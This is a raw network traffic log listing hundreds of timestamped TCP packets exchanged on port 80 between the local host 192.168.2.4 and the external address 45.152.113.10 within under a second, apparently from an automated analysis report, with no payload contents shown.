Sep 11, 2024 22:52:03.201220036 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.201245070 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.201277018 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.202248096 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.202313900 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.202451944 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.202486038 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.202517033 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.202557087 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.202613115 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.202646017 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.202676058 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.202680111 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.202722073 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.202780962 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.202836990 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.202841997 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.202868938 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.202931881 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.202985048 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.203016996 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.203048944 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.203080893 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.203090906 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.203114033 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.203145027 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.203176975 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.203195095 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.203208923 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.203243017 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.203272104 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.203290939 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.203306913 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.203325033 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.203356028 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.203411102 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.203443050 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.203444004 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.203481913 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.203512907 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.203533888 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.203545094 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.203577042 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.203586102 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.203608990 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.203639984 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.203640938 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.203671932 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.203684092 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.203702927 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.203713894 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.203737020 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.203754902 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.203774929 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.203778028 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.203800917 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.203808069 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.203835011 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.203840017 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.203866959 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.203871012 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.203896999 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.203918934 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.204260111 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.204274893 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.204288006 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.204302073 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.204317093 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.204330921 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.204346895 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.204360962 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.204484940 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.204605103 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.204669952 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.204693079 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.204708099 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.204750061 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.204777956 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.204876900 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.204891920 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.204905033 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.204921007 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.204936028 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.204940081 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.204988956 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.285902977 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.285923958 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.285931110 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.285938025 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.285944939 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.285952091 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.285968065 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.285976887 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.285984039 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.285990953 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.286004066 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.286010027 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.286015987 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.286024094 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.286047935 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.286071062 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.286087036 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.286102057 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.286117077 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.286132097 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.286192894 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.286223888 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.286257029 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.286289930 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.286323071 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.286326885 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.286326885 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.286328077 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.286328077 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.286328077 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.286328077 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.286328077 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.286371946 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.286413908 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.286413908 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.286421061 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.286441088 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.286454916 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.286489964 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.286493063 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.286513090 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.286536932 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.286536932 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.286587000 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.286617994 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.286649942 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.286701918 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.286734104 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.286765099 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.286796093 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.286796093 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.286796093 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.286797047 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.286797047 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.286797047 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.286813974 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.286861897 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.286879063 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.286880016 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.286915064 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.286940098 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.286964893 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.286973953 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.287013054 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.287025928 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.287061930 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.287096024 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.287115097 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.287131071 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.287142992 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.287180901 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.287189960 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.287203074 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.287224054 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.287245989 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.287256002 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.287286043 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.287305117 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.287307024 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.287336111 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.287362099 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.287369967 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.287439108 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.287439108 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.287455082 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.287503958 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.287506104 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.287534952 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.287566900 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.287570000 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.287592888 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.287600040 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.287628889 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.287647963 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.287658930 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.287679911 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.287710905 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.287715912 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.287735939 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.287744045 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.287770987 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.287789106 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.287791967 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.287842035 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.287853956 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.287873983 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.287906885 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.287923098 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.287928104 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.287955046 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.287986040 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.287987947 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.288012028 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.288018942 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.288050890 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.288057089 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.288079977 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.288084030 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.288099051 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.288116932 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.288141012 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.288151026 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.288177013 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.288183928 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.288202047 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.288218021 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.288244009 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.288250923 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.288268089 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.288285017 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.288307905 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.288316965 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.288341045 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.288351059 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.288378000 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.288383961 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.288400888 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.288417101 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.288441896 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.288454056 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.288465023 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.288486958 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.288515091 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.288516045 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.288547993 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.288552046 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.288573027 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.288580894 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.288602114 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.288613081 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.288640022 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.288646936 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.288669109 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.288678885 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.288705111 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.288712025 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.288727045 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.288743019 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.288769007 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.288775921 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.288805008 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.288805962 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.288826942 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.288836956 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.288865089 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.288868904 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.288887024 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.288901091 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.288921118 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.288934946 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.288958073 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.288964987 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.288981915 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.288997889 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.289027929 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.289031029 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.289068937 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.289091110 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.289505005 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.289556980 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.289565086 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.289588928 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.289611101 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.289622068 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.289648056 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.289671898 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.289671898 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.289704084 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.289725065 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.289736986 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.289753914 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.289793968 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.290983915 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.291032076 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.291059017 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.291069031 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.291083097 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.291104078 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.291124105 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.291141033 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.291166067 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.291193008 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.291203976 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.291244984 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.291249037 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.291277885 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.291306973 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.291311026 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.291338921 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.291343927 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.291361094 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.291378021 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.291424036 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.291440964 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.291443110 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.291477919 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.291507959 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.291510105 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.291534901 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.291543961 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.291568995 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.291579962 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.291604996 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.291649103 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.713745117 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.713826895 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.713877916 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.713910103 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.713942051 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.713973045 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.713996887 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.713996887 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.714024067 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.714056015 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.714066982 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.714066982 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.714088917 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.714092970 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.714112997 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.714123964 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.714153051 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.714175940 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.714176893 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.714209080 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.714247942 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.714257002 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.714267015 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.714292049 CEST	80	49733	45.152.113.10	192.168.2.4
